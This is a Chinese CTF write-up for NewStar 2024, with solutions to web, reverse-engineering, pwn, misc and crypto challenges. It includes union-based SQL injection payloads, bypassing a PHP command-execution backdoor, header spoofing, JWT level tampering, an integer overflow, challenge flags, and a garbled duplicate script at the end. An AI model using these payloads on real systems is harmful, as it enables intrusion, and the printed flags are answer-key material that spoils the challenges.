原文链接:点击此处
web
headach3
题目内容:
头疼,帮我治治
【难度:签到】
在响应头里
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
会赢吗
题目内容:
什么是控制台?js又是什么
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
F12查看前端代码,拿到ZmxhZ3tXQTB3
和下一个路由/4cqu1siti0n
访问/4cqu1siti0n
,直奔js代码块,发现定义了revealFlag
函数用于POST请求,最后提示课程为4cqu1siti0n
控制台中直接运行revealFlag("4cqu1siti0n");
,拿到IV95NF9yM2Fs
和下一个路由/s34l
访问路由/s34l
POST请求/api/flag/s34l
路由,请求数据为csrf_token=hfaousghashgfasbasiouwrda1_
,拿到MXlfR3I0c1B
和下一个路由Ap3x
访问/Ap3x
路由,前端代码发现<noscript>标签
POST发包,拿到fSkpKcyF9
合并密文,base64解密
智械危机
题目内容:
我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢
【难度:中等】
看看robots.txt
给了源代码
<?phpfunction execute_cmd($cmd) { system($cmd);}function decrypt_request($cmd, $key) { $decoded_key = base64_decode($key); $reversed_cmd = ''; for ($i = strlen($cmd) - 1; $i >= 0; $i--) { $reversed_cmd .= $cmd[$i]; } $hashed_reversed_cmd = md5($reversed_cmd); if ($hashed_reversed_cmd !== $decoded_key) { die("Invalid key"); } $decrypted_cmd = base64_decode($cmd); return $decrypted_cmd;}if (isset($_POST['cmd']) && isset($_POST['key'])) { execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));}else { highlight_file(__FILE__);}?>
看似复杂其实简单,对最后被执行system的参数cmd进行溯源,发现仅经过一次base64解密,那么cmd传入必定是base64编码的指令,在通过控制key绕过死亡die函数,其逻辑是cmd倒序后MD5运算的值强等于对key进行base64解密的值,于是key的加密过程如下
flag位于根目录,进行相应的加密传参即可
PangBai 过家家(1)
题目内容:
今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:中等】
leval1,访问/9b18b221-99b7-4b14-800a-e7aecca4e340
路由
提示Query
GET传参?ask=miao
POST传参say=hello
User-Agent头浏览器引擎改为Papa
说:玛卡巴卡阿卡哇卡米卡玛卡呣
utf-8编码
加上; charset=UTF-8
具体看bp设置
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
302跳转,直接替换cookie
X-Forwarded-For: 127.0.0.1
给了密钥
改成level7
没有level7
回到开始jwt改level0
除了题目抽象有点难,题目设计是真不错啊,跟打本子似的,片尾曲也好听
谢谢皮蛋
题目内容:
让我皮蛋看看Flag都藏哪了
【难度:困难】
数字型注入
爆库名
1 and 1=0 union select 1,group_concat(schema_name) from information_schema.schemata
爆表
1 and 1=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"
爆列名
1 and 1=0 union select 1,group_concat(column_name) FROM information_schema.columns where table_schema=“A” and table_name='Fl4g'
拿到flag
1 and 1=0 union select 1,value FROM ctf.Fl4g
对了,F12是有hint的
RE
begin
题目内容:
什么是IDA?
【难度:签到】
ida打开
进入flag_part1位置
第一段flag:flag{Mak3_aN_
shift+F12,发现第二段3Ff0rt_tO_5eArcH_
第三段位于函数名,F0r_th3_f14g_C0Rpse
结尾加上}
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
base64
题目内容:
仍然是base64
【难度:简单】
base64换表题,梭了
ezAndroidStudy
题目内容:
这是什么?猫猫虫?
【难度:简单】
第一段:flag{Y0u
加载了ezandroidstudy动态库
导出ezandroidstudy.so
ida逆向一波,发现第5段:_r4V4rs4r}
第二段:_@r4
activity_main.xml中flag3:_900d
flag4:_andr01d
flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
Simple_encryption
题目内容:
一眼秒的算法
【难度:简单】
模3,进行-+^操作
密文
from idaapi import *for i in range(30): enc=get_byte(0x403020+i) if i%3==0: enc+=31 elif i%3==1: enc-=41 elif i%3==2: enc^=0x55 print(chr(enc),end="")
ez_debug
题目内容:
动态调试(可能xdbg会更简单哦)
【难度:简单】
判断完flag后会对密文进行解密
甚至不需要改判断标识,打个断点出flag
pwn
Real Login
题目内容:
简简单单签个到吧
【难度:签到】
输入密码给shell
Game
题目内容:
不会连最简单的加法都不会吧
【难度:签到】
alarm函数,其参数为设置的时间,单位秒,指设置时间后发出警报声,即给进程发送SIGALRM信号,对于pwn题,需要远程连接服务器,一般情况下,该函数发出SIGALRM信号时会中断连接
所以在5秒内输入111遍9就能拿到shell,不得不编写脚本了
from pwn import *p=remote("39.106.48.123",18738)for i in range(112): p.sendline(b"9")p.interactive()
overwrite
题目内容:
你的wallet真的有money喵
【难度:简单】
缓冲区长度可控制,不过有大小限制,通过负数绕过,如nbytes传入-1(0xFFFFFFFF),可绕过nbytes>48
,在read函数中转为无符号型int(4294967295),相当于可读取4GB的数据
nbytes_4栈大小为0x30,填充0x30个字节后,可以覆写bptr的栈,要注意的是,对于atoi函数是有大小限制的
atoi
函数能够处理的最大值为 2,147,483,647
,即在输入字符串为 "2147483647"
时,atoi
将返回 INT_MAX
。
如果输入的字符串超出了这个范围,比如 "2147483648"
,atoi
不会返回溢出值,而是返回一个未定义的结果,通常是返回 0
。
因此,输入-1绕过长度限制,再输入54(0x30+0x6)个9
gdb
题目内容:
我加密的数据呢?!!!
【难度:简单】
输入与运算得出的enc比较判断
dbg调试,enc位于rbp-0x439
,4557455355431d5d
有个不可见字符\x1d
或者脚本
misc
兑换码
题目内容:
领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。
【难度:简单】
png改高
脚本
import zlibimport structimport binasciifile = "荣花与炎日之途.png"fr = open(file,'rb').read()data = bytearray(fr[12:29])#crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",'')) crc32key = struct.unpack('>I',fr[29:33])[0]&0xffffffff print(crc32key)#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00') n = 4096for w in range(n): width = bytearray(struct.pack('>i', w)) for h in range(n): height = bytearray(struct.pack('>i', h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] #print(data) crc32result = zlib.crc32(data) if crc32result == crc32key: print(crc32key) print(width,height) print(data) newpic = bytearray(fr) for x in range(4): newpic[x+16] = width[x] newpic[x+20] = height[x] fw = open(file+'.png','wb') fw.write(newpic) fw.close
Labyrinth
题目内容:
听好了:9月30日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。
你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。
至此,一锤定音。
尘埃,已然落定。
#newstar# #LSB# #听好了#
【难度:简单】
StegSolve
QR Research
WhereIsFlag
题目内容:
才。。。才不会告诉你我把flag藏在哪里了!
【难度:简单】
decompress
题目内容:
正在失传的技艺之压缩包解压
【难度:简单】
套娃最后的压缩包需要密码
flag{U_R_th3_ma5ter_0f_dec0mpress}
pleasingMusic
题目内容:
一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)
【难度:签到】
一分多钟有摩斯密码
根据题目提示进行倒序
crypto
Base
题目内容:
This is a base question!
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
【难度:签到】
赛博厨梭
Strange King
题目内容:
某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给
这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文
【难度:简单】
dic_lo='abcdefghijklmnopqrstuvwxyz'dic_up='ABCDEFGHIJKLMNOPQRSTUVWXYZ'enc='ksjr{EcxvpdErSvcDgdgEzxqjql}'flag=''for i in range(len(enc)): if enc[i]=='{' or enc[i]=='}': flag+=enc[i] continue if enc[i].islower(): flag += dic_lo[(ord(enc[i]) - 97 + 21 - i * 2) % 26] if enc[i].isupper(): flag += dic_up[(ord(enc[i]) - 97 + 1 - i * 2) % 26]print(flag)
xor
题目内容:
如果再来一次的话,就能回到从前,一切都会好起来的
【难度:签到】
xor可逆
from Crypto.Util.number import *from pwn import xorc1= 8091799978721254458294926060841c2= b';:\x1c1<\x03>*\x10\x11u;'key = b'New_Star_CTF'm1 = c1 ^ bytes_to_long(key)m2 = xor(key, c2)print(long_to_bytes(m1)+m2)
一眼秒了
题目内容:
n小小的也很可爱
【难度:简单】
from Crypto.Util.number import long_to_bytesfrom gmpy2 import is_prime, mpzfrom sympy import factorint# 给定的 n 和 cn = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069e = 65537# 因数分解 nfactors = factorint(n)p, q = [mpz(f) for f in factors]# 计算 φ(n)phi_n = (p - 1) * (q - 1)# 计算 dd = pow(e, -1, phi_n)# 解密 mm = pow(c, d, n)# 转换为字节并输出flag_bytes = long_to_bytes(m)print(flag_bytes)```python6500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069e = 65537# 因数分解 nfactors = factorint(n)p, q = [mpz(f) for f in factors]# 计算 φ(n)phi_n = (p - 1) * (q - 1)# 计算 dd = pow(e, -1, phi_n)# 解密 mm = pow(c, d, n)# 转换为字节并输出flag_bytes = long_to_bytes(m)print(flag_bytes)